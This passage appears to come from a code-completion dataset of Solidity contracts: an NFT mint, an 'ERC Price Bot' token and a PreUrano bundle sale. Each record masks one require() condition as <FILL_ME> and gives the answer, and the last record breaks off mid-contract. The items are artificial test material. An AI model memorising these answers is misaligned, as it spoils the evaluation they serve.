function recoverSignerAddress(address minter, bytes calldata signature) internal pure returns (address) {
}
function hashTransaction(address minter) internal pure returns (bytes32) {
}
function presale(uint amount, bytes calldata signature) public payable {
require(block.timestamp >= presaleStartTimestamp && block.timestamp < publicSaleStartTimestamp, "Presale minting is not available");
require(signature.length > 0 && recoverSignerAddress(_msgSender(), signature) == authorizedSigner, "tx sender is not allowed to presale");
require(<FILL_ME>)
require(price * amount == msg.value, "Wrong ethers value");
presaledNFTs[_msgSender()] += amount;
mint(amount);
}
function publicMint(uint amount) public payable {
}
function mint(uint amount) internal {
}
//endregion
function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
receive() external payable {
}
function withdraw() external {
}
}
| presaledNFTs[_msgSender()]+amount<=maxPresaleMintsPerWallet,"Too much mints for this wallet!" | 62,004 | presaledNFTs[_msgSender()]+amount<=maxPresaleMintsPerWallet |
"Wrong ethers value" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JanitorsNFTV2 is ERC721A, Ownable {
using ECDSA for bytes32;
uint constant public MAX_SUPPLY = 3800;
string public baseURI = "ipfs://QmViD5SmCXyxAK7aBtLNTV8r4BtCHE2up9LUUShN2XHKWu/";
uint public price = 0.002 ether;
uint public reservedSupply = 100;
uint public maxPresaleMintsPerWallet = 5;
uint public maxPublicMintsPerWallet = 5;
uint public presaleStartTimestamp = 1660057200;
uint public publicSaleStartTimestamp = 1660068000;
mapping(address => uint) public mintedNFTs;
mapping(address => uint) public presaledNFTs;
address public authorizedSigner = 0x1439bB6aa01238b5E2797F25FEEAA06aa92E454C;
bool osAutoApproveEnabled = true;
address public openseaConduit = 0x1E0049783F008A0085193E00003D00cd54003c71;
constructor() ERC721A("Janitors V2", "JANITORSV2", 10) {
}
function setBaseURI(string memory _baseURIArg) external onlyOwner {
}
function configure(
uint _price,
uint _reservedSupply,
uint _maxPresaleMintsPerWallet,
uint _maxPublicMintsPerWallet,
uint _presaleStartTimestamp,
uint _publicSaleStartTimestamp,
bool _osAutoApproveEnabled,
address _authorizedSigner
) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function recoverSignerAddress(address minter, bytes calldata signature) internal pure returns (address) {
}
function hashTransaction(address minter) internal pure returns (bytes32) {
}
function presale(uint amount, bytes calldata signature) public payable {
require(block.timestamp >= presaleStartTimestamp && block.timestamp < publicSaleStartTimestamp, "Presale minting is not available");
require(signature.length > 0 && recoverSignerAddress(_msgSender(), signature) == authorizedSigner, "tx sender is not allowed to presale");
require(presaledNFTs[_msgSender()] + amount <= maxPresaleMintsPerWallet, "Too much mints for this wallet!");
require(<FILL_ME>)
presaledNFTs[_msgSender()] += amount;
mint(amount);
}
function publicMint(uint amount) public payable {
}
function mint(uint amount) internal {
}
//endregion
function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
receive() external payable {
}
function withdraw() external {
}
}
| price*amount==msg.value,"Wrong ethers value" | 62,004 | price*amount==msg.value |
"Too much mints for this wallet!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JanitorsNFTV2 is ERC721A, Ownable {
using ECDSA for bytes32;
uint constant public MAX_SUPPLY = 3800;
string public baseURI = "ipfs://QmViD5SmCXyxAK7aBtLNTV8r4BtCHE2up9LUUShN2XHKWu/";
uint public price = 0.002 ether;
uint public reservedSupply = 100;
uint public maxPresaleMintsPerWallet = 5;
uint public maxPublicMintsPerWallet = 5;
uint public presaleStartTimestamp = 1660057200;
uint public publicSaleStartTimestamp = 1660068000;
mapping(address => uint) public mintedNFTs;
mapping(address => uint) public presaledNFTs;
address public authorizedSigner = 0x1439bB6aa01238b5E2797F25FEEAA06aa92E454C;
bool osAutoApproveEnabled = true;
address public openseaConduit = 0x1E0049783F008A0085193E00003D00cd54003c71;
constructor() ERC721A("Janitors V2", "JANITORSV2", 10) {
}
function setBaseURI(string memory _baseURIArg) external onlyOwner {
}
function configure(
uint _price,
uint _reservedSupply,
uint _maxPresaleMintsPerWallet,
uint _maxPublicMintsPerWallet,
uint _presaleStartTimestamp,
uint _publicSaleStartTimestamp,
bool _osAutoApproveEnabled,
address _authorizedSigner
) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function recoverSignerAddress(address minter, bytes calldata signature) internal pure returns (address) {
}
function hashTransaction(address minter) internal pure returns (bytes32) {
}
function presale(uint amount, bytes calldata signature) public payable {
}
function publicMint(uint amount) public payable {
require(block.timestamp >= publicSaleStartTimestamp, "Minting is not available");
require(<FILL_ME>)
require(price * amount == msg.value, "Wrong ethers value");
mintedNFTs[_msgSender()] += amount;
mint(amount);
}
function mint(uint amount) internal {
}
//endregion
function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
receive() external payable {
}
function withdraw() external {
}
}
| mintedNFTs[_msgSender()]+amount<=maxPublicMintsPerWallet,"Too much mints for this wallet!" | 62,004 | mintedNFTs[_msgSender()]+amount<=maxPublicMintsPerWallet |
"Tokens supply reached limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JanitorsNFTV2 is ERC721A, Ownable {
using ECDSA for bytes32;
uint constant public MAX_SUPPLY = 3800;
string public baseURI = "ipfs://QmViD5SmCXyxAK7aBtLNTV8r4BtCHE2up9LUUShN2XHKWu/";
uint public price = 0.002 ether;
uint public reservedSupply = 100;
uint public maxPresaleMintsPerWallet = 5;
uint public maxPublicMintsPerWallet = 5;
uint public presaleStartTimestamp = 1660057200;
uint public publicSaleStartTimestamp = 1660068000;
mapping(address => uint) public mintedNFTs;
mapping(address => uint) public presaledNFTs;
address public authorizedSigner = 0x1439bB6aa01238b5E2797F25FEEAA06aa92E454C;
bool osAutoApproveEnabled = true;
address public openseaConduit = 0x1E0049783F008A0085193E00003D00cd54003c71;
constructor() ERC721A("Janitors V2", "JANITORSV2", 10) {
}
function setBaseURI(string memory _baseURIArg) external onlyOwner {
}
function configure(
uint _price,
uint _reservedSupply,
uint _maxPresaleMintsPerWallet,
uint _maxPublicMintsPerWallet,
uint _presaleStartTimestamp,
uint _publicSaleStartTimestamp,
bool _osAutoApproveEnabled,
address _authorizedSigner
) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function recoverSignerAddress(address minter, bytes calldata signature) internal pure returns (address) {
}
function hashTransaction(address minter) internal pure returns (bytes32) {
}
function presale(uint amount, bytes calldata signature) public payable {
}
function publicMint(uint amount) public payable {
}
function mint(uint amount) internal {
require(tx.origin == _msgSender(), "The caller is another contract");
require(amount > 0, "Zero amount to mint");
require(<FILL_ME>)
_safeMint(_msgSender(), amount);
}
//endregion
function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
receive() external payable {
}
function withdraw() external {
}
}
| totalSupply()+reservedSupply+amount<=MAX_SUPPLY,"Tokens supply reached limit" | 62,004 | totalSupply()+reservedSupply+amount<=MAX_SUPPLY |
"Tokens supply reached limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JanitorsNFTV2 is ERC721A, Ownable {
using ECDSA for bytes32;
uint constant public MAX_SUPPLY = 3800;
string public baseURI = "ipfs://QmViD5SmCXyxAK7aBtLNTV8r4BtCHE2up9LUUShN2XHKWu/";
uint public price = 0.002 ether;
uint public reservedSupply = 100;
uint public maxPresaleMintsPerWallet = 5;
uint public maxPublicMintsPerWallet = 5;
uint public presaleStartTimestamp = 1660057200;
uint public publicSaleStartTimestamp = 1660068000;
mapping(address => uint) public mintedNFTs;
mapping(address => uint) public presaledNFTs;
address public authorizedSigner = 0x1439bB6aa01238b5E2797F25FEEAA06aa92E454C;
bool osAutoApproveEnabled = true;
address public openseaConduit = 0x1E0049783F008A0085193E00003D00cd54003c71;
constructor() ERC721A("Janitors V2", "JANITORSV2", 10) {
}
function setBaseURI(string memory _baseURIArg) external onlyOwner {
}
function configure(
uint _price,
uint _reservedSupply,
uint _maxPresaleMintsPerWallet,
uint _maxPublicMintsPerWallet,
uint _presaleStartTimestamp,
uint _publicSaleStartTimestamp,
bool _osAutoApproveEnabled,
address _authorizedSigner
) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function recoverSignerAddress(address minter, bytes calldata signature) internal pure returns (address) {
}
function hashTransaction(address minter) internal pure returns (bytes32) {
}
function presale(uint amount, bytes calldata signature) public payable {
}
function publicMint(uint amount) public payable {
}
function mint(uint amount) internal {
}
//endregion
function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {
for (uint i = 0; i < addresses.length; i++) {
require(<FILL_ME>)
_safeMint(addresses[i], amounts[i]);
}
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
receive() external payable {
}
function withdraw() external {
}
}
| totalSupply()+amounts[i]<=MAX_SUPPLY,"Tokens supply reached limit" | 62,004 | totalSupply()+amounts[i]<=MAX_SUPPLY |
"!ERCLauncher" | // Telegram: : https://t.me/ERCPriceBot
// Twitter : https://twitter.com/ERCPriceBot
// SPDX-License-Identifier: MIT
/*
The ERC Price Bot token is an ERC20 token built on the Ethereum blockchain that provides a price bot and chart utility.
The token is designed to be used to access data from a variety of sources, including exchanges, order books, and other
sources. The token also allows users to view charts of historical data, giving them an overview of the ERC price over time.
Additionally, the token can be used to pay for access to the FRC Price Bot's services, such as its charting interface,
data APIs, and other features. The ERC Price Bot token is built to be a reliable data source for traders and investors,
giving them access to reliable pricing information and market insights.
*/
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
mapping (address => bool) internal ERCPrice;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
modifier ERCLauncher() {
require(<FILL_ME>) _;
}
function isERCLauncher(address adr) public view returns (bool) {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ERCPRICEBOT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ERC Price Bot";
string private constant _symbol = "$Price";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 84000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x7E26dEe68Ce5410Fd91FeB1E6B988A738F082e76);
address payable private _marketingAddress = payable(0x7E26dEe68Ce5410Fd91FeB1E6B988A738F082e76);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal * 49/1000;
uint256 public _swapTokensAtAmount = 84000 * 2/1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function ERCTradeCost(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public ERCLauncher {
}
}
| isERCLauncher(msg.sender),"!ERCLauncher" | 62,030 | isERCLauncher(msg.sender) |
"missing usdt" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./PreUtils.sol";
import "./PreUranoBundles.sol";
import "./PreUranoRegistry.sol";
import "./TrackRewards.sol";
contract PreUranoSplitPay is
Context,
IERC777Sender,
ERC1820Implementer,
IERC777Recipient,
Ownable
{
//hooks
IERC777 public preUrano;
bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
bytes32 public constant TOKENS_SENDER_INTERFACE_HASH =
keccak256("ERC777TokensSender");
IERC1820Registry private _erc1820;
using SafeERC20 for IERC20;
IERC20 private _usdt;
//using EnumerableMap for EnumerableMap.AddressToUintMap;
//using EnumerableSet for EnumerableSet.AddressSet;
using Counters for Counters.Counter;
Counters.Counter private trxId;
PreUranoRegistry private preUranoRegistry;
TrackRewards private trackRewards;
mapping ( address => uint256 ) private prizesPaid;
event BuyBundle(
address indexed caller,
address indexed referralAddress,
bytes indexed trxIdentifier,
address safeOwnerAddress,
address contractAddress,
uint16 decimillsApplied,
uint256 usdtVal,
uint256 uranoVal,
uint256[2] netValuesSplit
);
event WithdrawAll(
address indexed destinationAddress,
bytes indexed trxIdentifier,
uint256 preUranoQuantity,
uint256 usdtQuantity
);
address private contractAddress;
// solhint-disable-next-line
constructor() {
}
function getBundleJsonArray() public pure returns (string memory) {
}
function getPaydPrize(address _refAddr) public view returns (uint256){
}
function getAvailableBundlesJsonArray()
public
view
returns (string memory)
{
}
function getBundleByNameJs(string memory _bundle)
public
pure
returns (uint256[2] memory)
{
}
function getLastTransactionId() external view returns (bytes memory) {
}
function withdrawAllFromContract() public onlyOwner {
}
function buyBundle(string memory _bundle, address referralAddress)
external
{
bool registeredRevAddr = false;
uint16 decimillsApplied = 0;
//getBundleByName(string memory _bundle)
uint256[2] memory bundleVals = PreUranoBundles.getBundleByName(_bundle);
//"0": "uint256[2]: 1000000000,20000000000000000000000000"
require(<FILL_ME>)
require(
_usdt.allowance(msg.sender, contractAddress) >= bundleVals[0],
"insufficient allowance"
);
require(
preUrano.balanceOf(contractAddress) >= bundleVals[1],
"The amount of tokens on the contract is insufficient to proceed with the bundle sale."
);
if (trackRewards.isRegisteredRewardAddress(referralAddress)) {
// 4% split pay 0x617F2E2fD72FD9D5503197092aC168c91465E7f2
registeredRevAddr = true;
decimillsApplied = trackRewards.getRewardByAddress(referralAddress);
}
//_usdt.safeIncreaseAllowance(contractAddress, bundleVals[0]);
/*
event BuyBundle(
address indexed caller,
address indexed referralAddress,
address contractAddress,
uint16 decimillsApplied,
uint16 usdtVal,
uint256 uranoVal
);
*/
address safeOwnerAddress = trackRewards.getMainUsdRecipient();
trxId.increment();
bytes memory trx = abi.encodePacked(uint256(trxId.current()));
uint256[2] memory splitNetValues = PreUtils.readPercent(
bundleVals[0],
decimillsApplied
);
//safe, owned address
_usdt.safeTransferFrom(msg.sender, safeOwnerAddress, splitNetValues[1]);
//safe, new standard
preUrano.send(msg.sender, bundleVals[1], trx);
preUranoRegistry.addAmountToDeposit(msg.sender, bundleVals[1]);
//less safe, external address
if (registeredRevAddr) {
_usdt.safeTransferFrom(
msg.sender,
referralAddress,
splitNetValues[0]
);
prizesPaid[referralAddress] += splitNetValues[0];
}
emit BuyBundle(
msg.sender,
referralAddress,
trx,
safeOwnerAddress,
contractAddress,
decimillsApplied,
bundleVals[0],
bundleVals[1],
splitNetValues
);
//_usdt.safeTransferFrom(msg.sender, splitPayConf.getMainUsdRecipient(), bundleVals[0]);
}
// 777 BEGIN --------------------------------------------------------------------------------------------------
event UranoToSendCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event UranoReceivedCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event BeforeTokenTransfer();
bool private _shouldRevertSend;
bool private _shouldRevertReceive;
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function senderFor(address account) public {
}
function registerSender(address sender) public {
}
function recipientFor(address account) public {
}
function registerRecipient(address recipient) public {
}
function setShouldRevertSend(bool shouldRevert) public onlyOwner {
}
function setShouldRevertReceive(bool shouldRevert) public onlyOwner {
}
function send(
IERC777 token,
address to,
uint256 amount,
bytes memory data
) public {
}
function burn(
IERC777 token,
uint256 amount,
bytes memory data
) public {
}
// 777 END --------------------------------------------------------------------------------------------------
}
| _usdt.balanceOf(msg.sender)>=bundleVals[0],"missing usdt" | 62,067 | _usdt.balanceOf(msg.sender)>=bundleVals[0] |
"insufficient allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./PreUtils.sol";
import "./PreUranoBundles.sol";
import "./PreUranoRegistry.sol";
import "./TrackRewards.sol";
contract PreUranoSplitPay is
Context,
IERC777Sender,
ERC1820Implementer,
IERC777Recipient,
Ownable
{
//hooks
IERC777 public preUrano;
bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
bytes32 public constant TOKENS_SENDER_INTERFACE_HASH =
keccak256("ERC777TokensSender");
IERC1820Registry private _erc1820;
using SafeERC20 for IERC20;
IERC20 private _usdt;
//using EnumerableMap for EnumerableMap.AddressToUintMap;
//using EnumerableSet for EnumerableSet.AddressSet;
using Counters for Counters.Counter;
Counters.Counter private trxId;
PreUranoRegistry private preUranoRegistry;
TrackRewards private trackRewards;
mapping ( address => uint256 ) private prizesPaid;
event BuyBundle(
address indexed caller,
address indexed referralAddress,
bytes indexed trxIdentifier,
address safeOwnerAddress,
address contractAddress,
uint16 decimillsApplied,
uint256 usdtVal,
uint256 uranoVal,
uint256[2] netValuesSplit
);
event WithdrawAll(
address indexed destinationAddress,
bytes indexed trxIdentifier,
uint256 preUranoQuantity,
uint256 usdtQuantity
);
address private contractAddress;
// solhint-disable-next-line
constructor() {
}
function getBundleJsonArray() public pure returns (string memory) {
}
function getPaydPrize(address _refAddr) public view returns (uint256){
}
function getAvailableBundlesJsonArray()
public
view
returns (string memory)
{
}
function getBundleByNameJs(string memory _bundle)
public
pure
returns (uint256[2] memory)
{
}
function getLastTransactionId() external view returns (bytes memory) {
}
function withdrawAllFromContract() public onlyOwner {
}
function buyBundle(string memory _bundle, address referralAddress)
external
{
bool registeredRevAddr = false;
uint16 decimillsApplied = 0;
//getBundleByName(string memory _bundle)
uint256[2] memory bundleVals = PreUranoBundles.getBundleByName(_bundle);
//"0": "uint256[2]: 1000000000,20000000000000000000000000"
require(_usdt.balanceOf(msg.sender) >= bundleVals[0], "missing usdt");
require(<FILL_ME>)
require(
preUrano.balanceOf(contractAddress) >= bundleVals[1],
"The amount of tokens on the contract is insufficient to proceed with the bundle sale."
);
if (trackRewards.isRegisteredRewardAddress(referralAddress)) {
// 4% split pay 0x617F2E2fD72FD9D5503197092aC168c91465E7f2
registeredRevAddr = true;
decimillsApplied = trackRewards.getRewardByAddress(referralAddress);
}
//_usdt.safeIncreaseAllowance(contractAddress, bundleVals[0]);
/*
event BuyBundle(
address indexed caller,
address indexed referralAddress,
address contractAddress,
uint16 decimillsApplied,
uint16 usdtVal,
uint256 uranoVal
);
*/
address safeOwnerAddress = trackRewards.getMainUsdRecipient();
trxId.increment();
bytes memory trx = abi.encodePacked(uint256(trxId.current()));
uint256[2] memory splitNetValues = PreUtils.readPercent(
bundleVals[0],
decimillsApplied
);
//safe, owned address
_usdt.safeTransferFrom(msg.sender, safeOwnerAddress, splitNetValues[1]);
//safe, new standard
preUrano.send(msg.sender, bundleVals[1], trx);
preUranoRegistry.addAmountToDeposit(msg.sender, bundleVals[1]);
//less safe, external address
if (registeredRevAddr) {
_usdt.safeTransferFrom(
msg.sender,
referralAddress,
splitNetValues[0]
);
prizesPaid[referralAddress] += splitNetValues[0];
}
emit BuyBundle(
msg.sender,
referralAddress,
trx,
safeOwnerAddress,
contractAddress,
decimillsApplied,
bundleVals[0],
bundleVals[1],
splitNetValues
);
//_usdt.safeTransferFrom(msg.sender, splitPayConf.getMainUsdRecipient(), bundleVals[0]);
}
// 777 BEGIN --------------------------------------------------------------------------------------------------
event UranoToSendCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event UranoReceivedCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event BeforeTokenTransfer();
bool private _shouldRevertSend;
bool private _shouldRevertReceive;
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
function senderFor(address account) public {
}
function registerSender(address sender) public {
}
function recipientFor(address account) public {
}
function registerRecipient(address recipient) public {
}
function setShouldRevertSend(bool shouldRevert) public onlyOwner {
}
function setShouldRevertReceive(bool shouldRevert) public onlyOwner {
}
function send(
IERC777 token,
address to,
uint256 amount,
bytes memory data
) public {
}
function burn(
IERC777 token,
uint256 amount,
bytes memory data
) public {
}
// 777 END --------------------------------------------------------------------------------------------------
}
| _usdt.allowance(msg.sender,contractAddress)>=bundleVals[0],"insufficient allowance" | 62,067 | _usdt.allowance(msg.sender,contractAddress)>=bundleVals[0] |
"The amount of tokens on the contract is insufficient to proceed with the bundle sale." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./PreUtils.sol";
import "./PreUranoBundles.sol";
import "./PreUranoRegistry.sol";
import "./TrackRewards.sol";
contract PreUranoSplitPay is
Context,
IERC777Sender,
ERC1820Implementer,
IERC777Recipient,
Ownable
{
//hooks
IERC777 public preUrano;
bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
bytes32 public constant TOKENS_SENDER_INTERFACE_HASH =
keccak256("ERC777TokensSender");
IERC1820Registry private _erc1820;
using SafeERC20 for IERC20;
IERC20 private _usdt;
//using EnumerableMap for EnumerableMap.AddressToUintMap;
//using EnumerableSet for EnumerableSet.AddressSet;
using Counters for Counters.Counter;
Counters.Counter private trxId;
PreUranoRegistry private preUranoRegistry;
TrackRewards private trackRewards;
mapping ( address => uint256 ) private prizesPaid;
event BuyBundle(
address indexed caller,
address indexed referralAddress,
bytes indexed trxIdentifier,
address safeOwnerAddress,
address contractAddress,
uint16 decimillsApplied,
uint256 usdtVal,
uint256 uranoVal,
uint256[2] netValuesSplit
);
event WithdrawAll(
address indexed destinationAddress,
bytes indexed trxIdentifier,
uint256 preUranoQuantity,
uint256 usdtQuantity
);
address private contractAddress;
// solhint-disable-next-line
constructor() {
}
function getBundleJsonArray() public pure returns (string memory) {
}
function getPaydPrize(address _refAddr) public view returns (uint256){
}
function getAvailableBundlesJsonArray()
public
view
returns (string memory)
{
}
function getBundleByNameJs(string memory _bundle)
public
pure
returns (uint256[2] memory)
{
}
function getLastTransactionId() external view returns (bytes memory) {
}
function withdrawAllFromContract() public onlyOwner {
}
function buyBundle(string memory _bundle, address referralAddress)
external
{
bool registeredRevAddr = false;
uint16 decimillsApplied = 0;
//getBundleByName(string memory _bundle)
uint256[2] memory bundleVals = PreUranoBundles.getBundleByName(_bundle);
//"0": "uint256[2]: 1000000000,20000000000000000000000000"
require(_usdt.balanceOf(msg.sender) >= bundleVals[0], "missing usdt");
require(
_usdt.allowance(msg.sender, contractAddress) >= bundleVals[0],
"insufficient allowance"
);
require(<FILL_ME>)
if (trackRewards.isRegisteredRewardAddress(referralAddress)) {
// 4% split pay 0x617F2E2fD72FD9D5503197092aC168c91465E7f2
registeredRevAddr = true;
decimillsApplied = trackRewards.getRewardByAddress(referralAddress);
}
//_usdt.safeIncreaseAllowance(contractAddress, bundleVals[0]);
/*
event BuyBundle(
address indexed caller,
address indexed referralAddress,
address contractAddress,
uint16 decimillsApplied,
uint16 usdtVal,
uint256 uranoVal
);
*/
address safeOwnerAddress = trackRewards.getMainUsdRecipient();
trxId.increment();
bytes memory trx = abi.encodePacked(uint256(trxId.current()));
uint256[2] memory splitNetValues = PreUtils.readPercent(
bundleVals[0],
decimillsApplied
);
//safe, owned address
_usdt.safeTransferFrom(msg.sender, safeOwnerAddress, splitNetValues[1]);
//safe, new standard
preUrano.send(msg.sender, bundleVals[1], trx);
preUranoRegistry.addAmountToDeposit(msg.sender, bundleVals[1]);
//less safe, external address
if (registeredRevAddr) {
_usdt.safeTransferFrom(
msg.sender,
referralAddress,
splitNetValues[0]
);
